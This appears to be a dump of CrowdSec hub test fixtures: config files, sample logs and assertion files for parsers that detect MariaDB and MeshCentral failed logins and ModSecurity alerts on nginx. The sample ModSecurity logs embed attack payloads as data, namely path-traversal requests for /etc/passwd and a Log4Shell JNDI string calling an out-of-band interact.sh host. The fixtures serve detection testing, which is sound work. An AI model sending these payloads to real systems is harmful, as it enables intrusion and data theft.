results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "172.17.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2021-11-09T05:13:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["user"] == "example-user" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2021-11-09T05:13:13Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["day"] == "01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["thread_id"] == "356" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["time"] == "11:38:05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["using_password"] == "NO" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["date"] == "2022-05-01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["month"] == "05" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["program"] == "mariadb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Parsed["message"] == "2022-05-01 11:38:05 356 [Warning] Access denied for user 'root'@'127.0.0.1' (using password: NO)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["source_ip"] == "127.0.0.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["timestamp"] == "2022-05-01T11:38:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Meta["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][2].Evt.Enriched["MarshaledTime"] == "2022-05-01T11:38:05Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["source_ip"] == "192.168.1.192" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["message"] == "221128 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: YES)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["program"] == "mariadb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["time"] == "14:49:17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["using_password"] == "YES" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["year"] == "22" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["day"] == "28" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Parsed["month"] == "11" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["source_ip"] == "192.168.1.192" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["timestamp"] == "2022-11-28T14:49:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Meta["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][3].Evt.Enriched["MarshaledTime"] == "2022-11-28T14:49:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["day"] == "09" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["message"] == "220109 14:49:17 [Warning] Access denied for user 'root'@'192.168.1.192' (using password: NO)" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["source_ip"] == "192.168.1.192" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["year"] == "22" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["month"] == "01" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["program"] == "mariadb" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["time"] == "14:49:17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Parsed["using_password"] == "NO" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["log_type"] == "mariadb_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["source_ip"] == "192.168.1.192" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["timestamp"] == "2022-01-09T14:49:17Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["user"] == "root" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Meta["datasource_path"] == "mariadb-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][4].Evt.Enriched["MarshaledTime"] == "2022-01-09T14:49:17Z" len(results["success"][""]) == 0hub1/.tests/mariadb-logs/scenario.assert000066400000000000000000000000001437532772500205310ustar00rootroot00000000000000hub1/.tests/meshcentral-bf/000077500000000000000000000000001437532772500160465ustar00rootroot00000000000000hub1/.tests/meshcentral-bf/config.yaml000066400000000000000000000004451437532772500202020ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/a1ad/meshcentral-logs.yaml scenarios: - ./scenarios/a1ad/meshcentral-bf.yaml postoverflows: - "" log_file: meshcentral-bf.log log_type: meshcentral labels: {} ignore_parsers: true override_statics: [] hub1/.tests/meshcentral-bf/meshcentral-bf.log000066400000000000000000000011221437532772500214370ustar00rootroot00000000000000Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 hub1/.tests/meshcentral-bf/parser.assert000066400000000000000000000000001437532772500205530ustar00rootroot00000000000000hub1/.tests/meshcentral-bf/scenario.assert000066400000000000000000000071771437532772500211100ustar00rootroot00000000000000len(results) == 1 "85.209.1.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["85.209.1.1"].IP == "85.209.1.1" results[0].Overflow.Sources["85.209.1.1"].Range == "" results[0].Overflow.Sources["85.209.1.1"].GetScope() == "Ip" results[0].Overflow.Sources["85.209.1.1"].GetValue() == "85.209.1.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[0].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[0].GetMeta("user") == "undefined" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[1].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[1].GetMeta("user") == "undefined" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[2].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[2].GetMeta("user") == "undefined" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[3].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[3].GetMeta("user") == "undefined" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[4].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[4].GetMeta("user") == "undefined" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "meshcentral-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "meshcentral_failed_auth" results[0].Overflow.Alert.Events[5].GetMeta("service") == "meshcentral" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "85.209.1.1" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2023-02-10T17:33:10Z" results[0].Overflow.Alert.Events[5].GetMeta("user") == "undefined" results[0].Overflow.Alert.GetScenario() == "a1ad/meshcentral-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/meshcentral-logs/000077500000000000000000000000001437532772500164235ustar00rootroot00000000000000hub1/.tests/meshcentral-logs/config.yaml000066400000000000000000000004061437532772500205540ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - ./parsers/s01-parse/a1ad/meshcentral-logs.yaml scenarios: - "" postoverflows: - "" log_file: meshcentral-logs.log log_type: meshcentral labels: {} ignore_parsers: false override_statics: [] hub1/.tests/meshcentral-logs/meshcentral-logs.log000066400000000000000000000003021437532772500223700ustar00rootroot00000000000000Feb 10 15:24:51 meshcentral https[26880]: Accepted password for admin from 79.78.1.1 port 2228 Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951 hub1/.tests/meshcentral-logs/parser.assert000066400000000000000000000100741437532772500211440ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "Feb 10 15:24:51 meshcentral https[26880]: Accepted password for admin from 79.78.1.1 port 2228" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "meshcentral" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "meshcentral-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "meshcentral" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "meshcentral-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["a1ad/meshcentral-logs"]) == 2 results["s01-parse"]["a1ad/meshcentral-logs"][0].Success == false results["s01-parse"]["a1ad/meshcentral-logs"][1].Success == true results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Parsed["source_ip"] == "85.209.1.1" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Parsed["timestamp"] == "Feb 10 17:33:10" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Parsed["username"] == "undefined" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Parsed["message"] == "Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Parsed["program"] == "meshcentral" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["datasource_path"] == "meshcentral-logs.log" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["log_type"] == "meshcentral_failed_auth" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["service"] == "meshcentral" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["source_ip"] == "85.209.1.1" results["s01-parse"]["a1ad/meshcentral-logs"][1].Evt.Meta["user"] == "undefined" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 1 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "undefined" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "Feb 10 17:33:10 meshcentral https[26880]: Failed password for undefined from 85.209.1.1 port 57951" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "meshcentral" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "85.209.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "Feb 10 17:33:10" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["user"] == "undefined" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "meshcentral-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "meshcentral_failed_auth" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "meshcentral" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "85.209.1.1" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2023-02-10T17:33:10Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2023-02-10T17:33:10Z" len(results["success"][""]) == 0 hub1/.tests/meshcentral-logs/scenario.assert000066400000000000000000000000001437532772500214370ustar00rootroot00000000000000hub1/.tests/modsecurity-logs-nginx/000077500000000000000000000000001437532772500176065ustar00rootroot00000000000000hub1/.tests/modsecurity-logs-nginx/config.yaml000066400000000000000000000003601437532772500217360ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/crowdsecurity/modsecurity.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: modsecurity-logs-nginx.log log_type: modsecurity ignore_parsers: false hub1/.tests/modsecurity-logs-nginx/modsecurity-logs-nginx.log000066400000000000000000000126231437532772500247470ustar00rootroot000000000000002021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?i)(?:\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "29"] [id "930100"] [rev ""] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref "o8,4o14,4o20,4o26,4v4,40"], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `Rx' with parameter `(?:^|[\\/])\.\.(?:[\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "51"] [id "930110"] [rev ""] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref "o8,4o14,4o20,4o26,4v4,40"], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "76"] [id "930120"] [rev ""] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref "o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase"], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "488"] [id "932160"] [rev ""] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd"] [severity "2"] [ver "OWASP_CRS/3.2.0"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref "o24,10v10,34t:urlDecodeUni,t:cmdLine,t:normalizePath,t:lowercase"], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `20' ) [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "79"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"] [data ""] [severity "2"] [ver ""] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "10.0.1.61"] [uri "/"] [unique_id "163722446755.059797"] [ref ""], client: 82.64.145.141, server: foobar.com, request: "GET /?foo=../../../../../../../../etc/passwd HTTP/1.1", host: "foobar.com" 2021/12/26 12:36:51 [error] 972#972: *18722 [client 161.97.102.240] ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' against variable `TX:ANOMALY_SCORE' (Value: `370' ) [file "/etc/nginx/modsec/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "80"] [id "949110"] [rev ""] [msg "Inbound Anomaly Score Exceeded (Total Score: 370)"] [data ""] [severity "2"] [ver "OWASP_CRS/3.x.x"] [maturity "0"] [accuracy "0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "192.168.0.1"] [uri "/"] [unique_id "1640518611"] [ref ""], client: 161.97.102.240, server: 42.42.42.42, request: "GET /?x=${jndi:ldap://${hostName}.c72643ci97rd1ek9i7u0c8rf8iejf6fk6.interact.sh/a} HTTP/1.1", host: "hostname.domain:443", referrer: "${jndi:ldap://${hostName}.referer.c72643ci97rd1ek9i7u0c8rf8iejf6fms.interact.sh}"hub1/.tests/modsecurity-logs-nginx/parser.assert000066400000000000000000002125771437532772500223430ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 6 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?i)(?:\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5 (400 characters omitted)' against variable `REQUEST_URI_RAW' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"29\"] [id \"930100\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI_RAW: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `Rx' with parameter `(?:^|[\\\\/])\\.\\.(?:[\\\\/]|$)' against variable `REQUEST_URI' (Value: `/?foo=../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"51\"] [id \"930110\"] [rev \"\"] [msg \"Path Traversal Attack (/../)\"] [data \"Matched Data: /../ found within REQUEST_URI: /?foo=../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o8,4o14,4o20,4o26,4v4,40\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "modsecurity" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `lfi-os-files.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf\"] [line \"76\"] [id \"930120\"] [rev \"\"] [msg \"OS File Access Attempt\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-multi\"] [tag \"platform-multi\"] [tag \"attack-lfi\"] [tag \"OWASP_CRS\"] [tag \"OWASP_CRS/WEB_ATTACK/FILE_INJECTION\"] [tag \"WASCTC/WASC-33\"] [tag \"OWASP_TOP_10/A4\"] [tag \"PCI/6.5.4\"] [hostname \"10.0.1.61\"] [uri \"/\"] [unique_id \"163722446755.059797\"] [ref \"o24,10v10,34t:utf8toUnicode,t:urlDecodeUni,t:normalizePathWin,t:lowercase\"], client: 82.64.145.141, server: foobar.com, request: \"GET /?foo=../../../../../../../../etc/passwd HTTP/1.1\", host: \"foobar.com\"" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "modsecurity-logs-nginx.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "2021/11/18 08:34:27 [info] 86596#86596: *1083 ModSecurity: Warning. Matched \"Operator `PmFromFile' with parameter `unix-shell.data' against variable `ARGS:foo' (Value: `../../../../../../../../etc/passwd' ) [file \"/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf\"] [line \"488\"] [id \"932160\"] [rev \"\"] [msg \"Remote Command Execution: Unix Shell Code Found\"] [data \"Matched Data: etc/passwd found within ARGS:foo: ../../../../../../../../etc/passwd\"] [severity \"2\"] [ver \"OWASP_CRS/3.2.0\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] [tag \"language-shell\"] [tag \"platform-unix\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] [tag 